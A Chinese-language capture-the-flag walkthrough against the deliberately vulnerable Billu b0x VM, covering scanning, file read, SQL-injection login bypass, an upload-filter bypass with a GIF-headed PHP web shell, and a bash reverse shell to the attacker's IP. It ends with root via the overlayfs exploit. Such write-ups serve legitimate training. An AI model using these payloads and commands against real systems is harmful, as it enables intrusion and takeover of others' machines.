0x01 环境搭建
1、靶机下载地址
2、攻击机kali ip地址：10.0.2.4 靶机ip：10.0.2.5
0x02 信息收集
1、端口扫描，发现22,80端口
──(root💀kali)-[~]
└─# nmap -p- 10.0.2.15
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-20 03:26 EST
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 85.63% done; ETC: 03:26 (0:00:00 remaining)
Nmap scan report for 10.0.2.15
Host is up (0.000068s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:B1:3D:4F (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds
2、网页扫描
──(root💀kali)-[~]
└─# dirb http://10.0.2.15 /usr/share/dirb/wordlists/big.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Jan 20 03:27:53 2022
URL_BASE: http://10.0.2.15/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://10.0.2.15/ ----
+ http://10.0.2.15/add (CODE:200|SIZE:307)
+ http://10.0.2.15/c (CODE:200|SIZE:1)
+ http://10.0.2.15/cgi-bin/ (CODE:403|SIZE:285)
+ http://10.0.2.15/head (CODE:200|SIZE:2793)
==> DIRECTORY: http://10.0.2.15/images/
+ http://10.0.2.15/in (CODE:200|SIZE:47528)
+ http://10.0.2.15/index (CODE:200|SIZE:3267)
+ http://10.0.2.15/panel (CODE:302|SIZE:2469)
==> DIRECTORY: http://10.0.2.15/phpmy/
+ http://10.0.2.15/server-status (CODE:403|SIZE:290)
+ http://10.0.2.15/show (CODE:200|SIZE:1)
+ http://10.0.2.15/test (CODE:200|SIZE:72)
==> DIRECTORY: http://10.0.2.15/uploaded_images/
---- Entering directory: http://10.0.2.15/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.0.2.15/phpmy/ ----
+ http://10.0.2.15/phpmy/ChangeLog (CODE:200|SIZE:28878)
+ http://10.0.2.15/phpmy/LICENSE (CODE:200|SIZE:18011)
+ http://10.0.2.15/phpmy/README (CODE:200|SIZE:2164)
+ http://10.0.2.15/phpmy/TODO (CODE:200|SIZE:190)
+ http://10.0.2.15/phpmy/changelog (CODE:200|SIZE:8367)
==> DIRECTORY: http://10.0.2.15/phpmy/contrib/
+ http://10.0.2.15/phpmy/docs (CODE:200|SIZE:2781)
+ http://10.0.2.15/phpmy/export (CODE:200|SIZE:8367)
+ http://10.0.2.15/phpmy/favicon (CODE:200|SIZE:18902)
+ http://10.0.2.15/phpmy/favicon.ico (CODE:200|SIZE:18902)
+ http://10.0.2.15/phpmy/import (CODE:200|SIZE:8367)
+ http://10.0.2.15/phpmy/index (CODE:200|SIZE:8367)
==> DIRECTORY: http://10.0.2.15/phpmy/js/
==> DIRECTORY: http://10.0.2.15/phpmy/libraries/
+ http://10.0.2.15/phpmy/license (CODE:200|SIZE:8367)
==> DIRECTORY: http://10.0.2.15/phpmy/locale/
+ http://10.0.2.15/phpmy/main (CODE:200|SIZE:8367)
+ http://10.0.2.15/phpmy/navigation (CODE:200|SIZE:8367)
+ http://10.0.2.15/phpmy/phpinfo (CODE:200|SIZE:8367)
+ http://10.0.2.15/phpmy/phpmyadmin (CODE:200|SIZE:42380)
==> DIRECTORY: http://10.0.2.15/phpmy/pmd/
+ http://10.0.2.15/phpmy/print (CODE:200|SIZE:1064)
+ http://10.0.2.15/phpmy/robots (CODE:200|SIZE:26)
+ http://10.0.2.15/phpmy/robots.txt (CODE:200|SIZE:26)
==> DIRECTORY: http://10.0.2.15/phpmy/scripts/
==> DIRECTORY: http://10.0.2.15/phpmy/setup/
+ http://10.0.2.15/phpmy/sql (CODE:200|SIZE:8367)
==> DIRECTORY: http://10.0.2.15/phpmy/themes/
+ http://10.0.2.15/phpmy/url (CODE:200|SIZE:8367)
+ http://10.0.2.15/phpmy/webapp (CODE:200|SIZE:6912)
---- Entering directory: http://10.0.2.15/uploaded_images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.0.2.15/phpmy/contrib/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.0.2.15/phpmy/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.0.2.15/phpmy/libraries/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.0.2.15/phpmy/locale/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.0.2.15/phpmy/pmd/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.0.2.15/phpmy/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.0.2.15/phpmy/setup/ ----
+ http://10.0.2.15/phpmy/setup/config (CODE:303|SIZE:0)
==> DIRECTORY: http://10.0.2.15/phpmy/setup/frames/
+ http://10.0.2.15/phpmy/setup/index (CODE:200|SIZE:12965)
==> DIRECTORY: http://10.0.2.15/phpmy/setup/lib/
+ http://10.0.2.15/phpmy/setup/scripts (CODE:200|SIZE:5169)
+ http://10.0.2.15/phpmy/setup/styles (CODE:200|SIZE:6941)
+ http://10.0.2.15/phpmy/setup/validate (CODE:200|SIZE:10)
---- Entering directory: http://10.0.2.15/phpmy/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.0.2.15/phpmy/setup/frames/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.0.2.15/phpmy/setup/lib/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Thu Jan 20 03:28:13 2022
DOWNLOADED: 61374 - FOUND: 37
3、第一阶段信息收集获得信息
有效信息
（1）index页面是登录界面，提示sql注入，但sqlmanp无法跑出注入
（2）test页面有提示file参数可交互，这里是漏洞利用突破口
（3）phpmyadmin页面，预示可能获取数据库账户密码
（4）图片上传页面可浏览，这预示可能有文件上传漏洞利用
（5）phpinfo页面可以获取php相关环境配置
挖坑信息
（6）add页面，看起来像文件上传点
（7）image页面像文件上传后页面
0x03 漏洞利用
1、通过文件包含读取文件
在上个阶段，经过sqlmap跑index页面失败，文件上传add页面源码审计发现无接收php页面后，发现test页面file参数可以通过post方法控制。这里有些burpsuite小技巧，由于header头会变化，我们可以先写一个get方法传递参数的页面，然后通过burp的Change request method选项将get方法转换为post方法。
转换后结果如下
2、源码审计，得到数据库密码
（1）通过index页面可以读取到sql语句，通过构建用户名’ or 1=1 – \’，密码’ or 1=1 – \'闭合sql语句用万能密码登录，这种闭合我是看不懂。核心代码如下
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
（2）通过读取index.php文件，发现file参数实际是通过readfile函数实现的读取文件，而非常规的文件包含，因此此处不能直接利用文件包含漏洞，源码如下。
<?php
function file_download($download)
{
if(file_exists($download))
{
header("Content-Description: File Transfer");
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Accept-Ranges: bytes');
header('Content-Disposition: attachment; filename="'.basename($download).'"');
header('Content-Length: ' . filesize($download));
header('Content-Type: application/octet-stream');
ob_clean();
flush();
readfile ($download);
}
else
{
echo "file not found";
}
}
if(isset($_POST['file']))
{
file_download($_POST['file']);
}
else{
echo '\'file\' parameter is empty. Please provide file path in \'file\' parameter ';
}
为了证明readfile文件不可包含，可以用in.php文件做实验印证
（3）读取c.php文件，获取数据库ica_lab的账户和密码
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
?>
3、登录数据库，得到用户认证账户密码
（1）登录数据库和密码，在auth表中得到一对账号密码
（2）从index.php页面登录，跳转到panel.php页面，发现文件上传点
（3）读取panel.php文件源码，发现两点。一是该文件有post类型的文件包含漏洞，涉及参数为load。二是文件上传通过finfo(FILEINFO_MIME)生成对象对文件类型进行校验。
<?php
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();
}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
unset($_SESSION['logged']);
unset($_SESSION['admin']);
header('Location: index.php', true, 302);
}
echo '<hr><br>';
echo '<form method=post>
<select name=load>
<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>
 <input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
if(isset($_POST['upload']))
{
$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
}
?>
4、源码审计，绕过上传
（1）通过查询php手册得知，函数fileinfo通过mime_content_type函数通过检查文件magic number的方式对文件类型进行校验。因此可以在二进制环境下，修改文件头的magic number的方式绕过校验上传文件。构造图片ma.jpg，其源码如下。
GIF87a
<?php system($_GET['cmd']);?>
（2）上传图片ma.jpg后，在panel.php中查看路径，也可以在uploaded_images目录查看
（3）burp验证上传ma功能，这里需要注意的是只能通过panel.php的文件包含漏洞包含。
5、反弹shell
bash反弹，将以下bash反弹命令通过decoder用url编码后加入到cmd参数中
echo "bash -i >& /dev/tcp/10.0.2.4/6666 0>&1" | bash
0x04 提升权限
在可执行目录uploade_images下跑linux-exploit-suggester.sh得到如下结果
www-data@indishell:/var/www/uploaded_images$ ./linux-exploit-suggester.sh
./linux-exploit-suggester.sh
Available information:
Kernel version: 3.13.0
Architecture: i386
Distribution: ubuntu
Distribution version: 12.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
78 kernel space exploits
48 user space exploits
Possible Exploits:
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2016-5195] dirtycow
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
[+] [CVE-2016-5195] dirtycow 2
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
[+] [CVE-2015-1328] overlayfs
Details: http://seclists.org/oss-sec/2015/q2/717
Exposure: highly probable
Tags: [ ubuntu=(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic} ],ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-generic}
Download URL: https://www.exploit-db.com/download/37292
[+] [CVE-2015-3202] fuse (fusermount)
Details: http://seclists.org/oss-sec/2015/q2/520
Exposure: probable
Tags: debian=7.0|8.0,[ ubuntu=* ]
Download URL: https://www.exploit-db.com/download/37089
Comments: Needs cron or system admin interaction
[+] [CVE-2014-4014] inode_capable
Details: http://www.openwall.com/lists/oss-security/2014/06/10/4
Exposure: probable
Tags: [ ubuntu=12.04 ]
Download URL: https://www.exploit-db.com/download/33824
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[+] [CVE-2019-18634] sudo pwfeedback
Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.
[+] [CVE-2019-15666] XFRM_UAF
Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled
[+] [CVE-2017-7308] af_packet
Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
Exposure: less probable
Tags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c
Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels
[+] [CVE-2017-6074] dccp
Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
Exposure: less probable
Tags: ubuntu=(14.04|16.04){kernel:4.4.0-62-generic}
Download URL: https://www.exploit-db.com/download/41458
Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
Details: https://seclists.org/oss-sec/2017/q1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
[+] [CVE-2017-1000370,CVE-2017-1000371] linux_offset2lib
Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt
Exposure: less probable
Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_offset2lib.c
Comments: Uses "Stack Clash" technique
[+] [CVE-2017-1000366,CVE-2017-1000371] linux_ldso_dynamic
Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt
Exposure: less probable
Tags: debian=9|10,ubuntu=14.04.5|16.04.2|17.04,fedora=23|24|25
Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_ldso_dynamic.c
Comments: Uses "Stack Clash" technique, works against most SUID-root PIEs
[+] [CVE-2017-1000366,CVE-2017-1000370] linux_ldso_hwcap
Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt
Exposure: less probable
Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_ldso_hwcap.c
Comments: Uses "Stack Clash" technique, works against most SUID-root binaries
[+] [CVE-2016-9793] SO_{SND|RCV}BUFFORCE
Details: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
Exposure: less probable
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c
Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only
[+] [CVE-2016-6663,CVE-2016-6664|CVE-2016-6662] mysql-exploit-chain
Details: https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
Exposure: less probable
Tags: ubuntu=16.04.1
Download URL: http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c
Comments: Also MariaDB ver<10.1.18 and ver<10.0.28 affected
[+] [CVE-2016-2384] usb-midi
Details: https://xairy.github.io/blog/2016/cve-2016-2384
Exposure: less probable
Tags: ubuntu=14.04,fedora=22
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c
Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user
[+] [CVE-2015-8660] overlayfs (ovl_setattr)
Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
Exposure: less probable
Tags: ubuntu=(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic}
Download URL: https://www.exploit-db.com/download/39166
[+] [CVE-2015-8660] overlayfs (ovl_setattr)
Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
Exposure: less probable
Download URL: https://www.exploit-db.com/download/39230
[+] [CVE-2014-5207] fuse_suid
Details: https://www.exploit-db.com/exploits/34923/
Exposure: less probable
Download URL: https://www.exploit-db.com/download/34923
[+] [CVE-2014-5119] __gconv_translit_find
Details: http://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html
Exposure: less probable
Tags: debian=6
Download URL: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/34421.tar.gz
[+] [CVE-2014-0196] rawmodePTY
Details: http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html
Exposure: less probable
Download URL: https://www.exploit-db.com/download/33516
[+] [CVE-2012-0809] death_star (sudo)
Details: http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt
Exposure: less probable
Tags: fedora=16
Download URL: https://www.exploit-db.com/download/18436
[+] [CVE-2016-0728] keyring
Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
Exposure: less probable
Download URL: https://www.exploit-db.com/download/40003
Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working
尝试dirtycow无法提权成功，最后使用[CVE-2015-1328] overlayfs成功提权
https://www.exploit-db.com/download/37292
提权过程如下
0x05 补充
本题中读取文件时候，可以根据phpmyadmin默认配置文件config.inc.php，默认路径/var/www/phpmy下。通过读取该文件获得root账户和密码，从而ssh直接获取root权限，此处可能是出题人的遗漏，但此思路应该借鉴引用。
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